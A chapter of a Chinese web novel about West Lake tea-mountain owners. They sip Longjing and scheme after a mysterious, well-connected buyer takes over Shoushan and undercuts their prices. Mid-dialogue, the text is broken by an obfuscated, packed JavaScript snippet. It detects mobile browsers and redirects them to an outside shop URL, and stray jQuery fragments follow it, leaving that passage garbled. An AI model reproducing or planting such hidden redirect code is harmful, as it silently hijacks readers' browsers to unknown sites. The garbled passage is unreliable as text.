102. 寿山

作品:《穿回年代文大佬的短命妻

    阳光透过一尖山茶楼繁复的雕花木窗,被切割成细碎的光束,斜斜地投射进来,一部分落在了宽大的茶桌上,也落进了素白的盖碗中。


    盖碗已经投进了足量的龙井,疏落有致,每根茶芽都保持着近乎完整的形态。那绿是极鲜嫩的,极通透的。


    林张提起炉上初沸的山泉水,悬壶高冲。沸水击在素白瓷杯底,蒸腾起一阵白雾。水流沿杯壁滑入,待嫩绿的龙井茶受热微展。壶嘴被压低,水流如丝般注入,贴着杯壁回旋,茶叶在水中上下翻腾,又缓缓沉降,芽叶渐次舒展,根根直立,似翠旗招展。


    茶汤入海,汤色浅碧,澄澈明亮如初春湖水。


    烟雾袅袅,茶香四溢。


    一桌人都在茶山里摸爬滚打了这么多年,自然知道这茶,是难得的好茶。就连林阳这种只看利益的大老粗,都动了动鼻子。


    他惊奇道:“这林家茶山今年的茶这么好,难不成茶树都让林月溶给养成精了?”


    林张坐在主位,慢条斯理地烫着杯子,余光扫过在座几人。


    他不开口,陆秦便也不开口,还是那个假温吞。


    赵三一向精明,惯会权衡利弊,一句话要在喉咙里滚十圈才出来。这会儿更是闭紧了嘴巴。


    至于林阳,他就是个只有力气没脑子了,开不开口没多大意义。


    至于新上桌的林进……


    林张在心底嗤了一声,就是个自以为是的老狐狸。这么多年都斗不过个林不芳。林不芳死了吧,连个林月溶也斗不过,不过拿出个订货单就觉得自己立了大功。


    这些年茶山主围着西子湖的茶山明争暗斗,手上的阴损招数层出不穷,都不干净。林进还是第一次跟这些茶山主们坐在一桌,针落可闻之下,他心底越发不安。


    林张拿起公道杯依次斟茶,茶汤在杯中漾开浅浅的涟漪。


    “尝尝,也说说。”


    陆秦拿起一杯茶,仔细看了看:“芽头肥壮,一旗一枪,匀整得很。”


    赵三尝了一口才道:“杀青到位,火工稳。香气锁得牢,入口鲜醇,回甘也足。”


    一向对品茶没兴趣的林阳试着啜饮一口,吧唧了吧唧嘴,又牛饮下肚,蹦出两个字,“好喝!”


    林张自己端起一杯,并不急着喝,只垂眸看着杯中沉浮的嫩芽。


    “确实不错。兰芳龙井的牌子,算是让林月溶那丫头暂时立住了。”


    他声音在氤氲茶香里显得格外清晰,透着掩饰不住的欣赏之意。


    林进这才接了话,“茶再好,也压了百分之七十没卖出去。”


    “确实是可惜了。”林张忽然叹了一声,似有无限惋惜,“这样的好茶,若无人赏识,困守山中,时日久了,香气散了,色泽灰了,终究只是一把枯叶。”


    茶烟袅袅,混着他话中的寒意散开。


    现在西子湖稍微上点台面的茶商,都知道该站哪边。谁要是敢碰林家茶山的货,就是跟他们这几家过不去。更何况,价格又压了一压,这些人自然知道怎么选。


    资金链一断,这林月溶,神仙也难救。


    茶室的门被推开,林丛卓大摇大摆走进来,“呦!人挺多!”


    他动了动鼻子,“好茶呀!爸,给我来一杯!”


    林张被他气的鼻子歪了歪,自己这么儒雅的人怎么就养出了这么混个儿子。


    “长辈们都在,你这是什么态度。”


    “我这不就是趁着叔们都在才来的!”林丛卓拽了把凳子,大刺拉拉坐下,“叔们是不是都想知道这寿山到谁手里了?”


    林张看着他这兴高采烈的样子,额角跳了跳。


    这么多外人,他忍住骂脏字的冲动,推了一杯茶给他,沉声道:“别废话!”


    “按说,这寿山的产权交替是个大动静,买方是人是鬼总得有个消息出来吧,但偏偏就没有。”


    林丛卓行事风格虽然不够稳重,但林阳还是放了一部分权给他。寿山这事儿他觉得有意思,便自己去查了。


    “但天下就没有不透风的墙,我这段时间喝酒组局就为了这阵风。”


    “废话少点儿!”


    “……”


    “这寿山的买方,是燕京来的,商场、政界甚至军方都有关系。”


    怪不得张进敢直接把他们都撇了,三方都有关系的人物让他给攀上了。


    林丛卓喝了一杯茶,双眼一亮,“好茶!要我说,这寿山谁也别想了。这种人物买茶山,一般是为了做私家茶园,方便自用和送礼,应该不是为了掺和西子湖的茶价。”


    林丛卓的话音刚落,茶室的门就被敲响了。


    来的是一尖山茶山的一个管事的,他面色有些不好,匆匆忙忙的,低头在林张的耳边说了什么。


    “呵——”


    林张把手里的茶杯放在茶桌上,发出极轻的磕碰声,但听起来有些莫名刺耳。


    “这买了寿山的人,还真是为了掺和西子湖的茶价而来的。”


    寿山的面积有1200多亩,体量不小。


    之前张进为了躲麻烦,乱七八糟地分包了出去,这茶山切的他自己都快不认识了,就是防着有人想买。毕竟切租给这么多形形色色的散户,谁想买得先掂量一下怎么收回来,收回来又要下多大本。


    “林大哥,怎么个意思?”


    林张这口气听着不太妙,赵三坐不住了。


    见林张看向自己,管事的这才开口。“这寿山的新山主,年前就把所有租户的茶田都收回去了。不知道他用了什么手段,这些租户被踢出去了一大半,留下来大点儿都成了签劳动协议的茶农。”


    “这……”林进皱了皱眉,“这怎么听着跟林月溶整治林家茶山的套路一样啊?”


    他自己就是这么被踢出林家茶山的。


    “但人家卖茶的套路可跟林月溶不一样。”林张冷笑一声,“他压价,已经抢了我一尖山不少茶商了,他们宁可违约都要买寿山的茶。”


    茶室的电话这时候响了,是找林阳的。


    刚接了没多久他就开始破口大骂,“一个个都不想活了?不知道老子姓谁名谁?敢打老子的脸?”


    那头不知道又说了什么,林阳哽住,脸色精彩纷呈,而后默不作声地挂了电话。


    还没等众人反应过来,电话又响了,这次是找陆秦的。


    再接着,电话是找赵三的。


    林阳蓦得笑了,“看样子都被寿山截了财啊?这寿山的茶山主,到底是几个意思啊


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17069520|185204||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ?”


    看来被打脸的不止他一个人。


    陆秦这才道:“我这边接的电话是我姐夫打来的,他刚从燕京开会回来。这几天,全国的主流报纸甚至是主流媒体,都会给寿山做专访……”


    陆秦说的姐夫是他媳妇的亲姐夫,杭城报社的秦主编,在杭城的媒体圈很有分量。他放出来的消息,不会有假。


    林丛卓吹了个口哨,“这寿山的新山主,关系果然硬气。”


    要是寿山龙井成了西子湖龙井的代表,那就是走了正路的龙头了。


    林张的脸已经沉得不像话了。


    原本以为稳住了林月溶,就能稳住今西子湖的茶价,谁知道半路又杀出个寿山。


    他们压价的手段,那都是在合理范围内的。这寿山压价,纯粹就是搅屎棍搅屎。


    这搅屎棍还想靠通天的关系直接成茶山主中的老大?


    林张喝了一杯早就凉透的茶,让自己重新冷静下来。


    “这寿山主应该就是呼风唤雨习惯了,不知道这茶叶销售里的门道,暂且让他过过瘾。如果我没猜错,他抢的茶商应该不多,毕竟他想跟我们所有人抗衡,也得有那么多茶。咱们几家茶田就算是不加那些承包的,全加起来,比这寿山大了可不止一两倍。”


    陆秦和赵三点了点头表示赞同。


    压价再低,也得有货才成。


    林阳骂道:“上蹿下跳的。也就是老鼠咬了牛屁股——鼠食牛逼。”


    林张捏了捏发胀的眉心。


    “这样,我做东。咱们约林家茶山的林大小姐,到杭城大酒店吃个饭,互相认识认识。”


    这就是要示好抱团的意思了。


    毕竟,他们要是不抱团跟这个疯子一样的寿山对对线,迟早要被他这搅屎棍沾一身屎。


    张放接到林张的电话,消化了好一会儿才给林月溶打过去。


    林月溶也觉得很稀奇,“明天?林张?在杭城大酒店?请我吃饭?”


    “不止林张。还有陆秦、赵三和林阳。”


    “鸿门宴啊!”


    张放道:“可能跟刚易主的寿山有关系。”


    寿山的动静儿虽然闹这么大,但一点儿都没闹到林家茶山。张放倒是听了一耳朵,也没往深处想,毕竟这茶山每年的稀罕事儿层出不穷。


    “那更是鸿门宴!”


    看来是寿山惹不起,要来惹自己了。


    “不去!”


    “……”


    张放哽住,大小姐,咱不能硬气一点儿吗?


    “你跟林张说,我明天要回燕京,过三四天才能回来。”


    原来大小姐不是怂。


    “好的!”张放重新挺直了腰杆,他又道,“就得挫挫他们的锐气。”


    林张接到张放回过来的电话,险些又气歪了鼻子。


    没想到这丫头都被压成这样了,依旧不急。


    林丛卓不爽,林张是他爹,只能他气歪鼻子。


    他道:“爸!暂且让她嚣张!等她资金链断了,茶山运转不下去,自然得求人接手。到时候咱们再出面,价格就好谈了。听说她跟我差不多大……年轻人有年轻人的处理问题的方式,到时候我跟你们一起去,挫挫她的锐气。”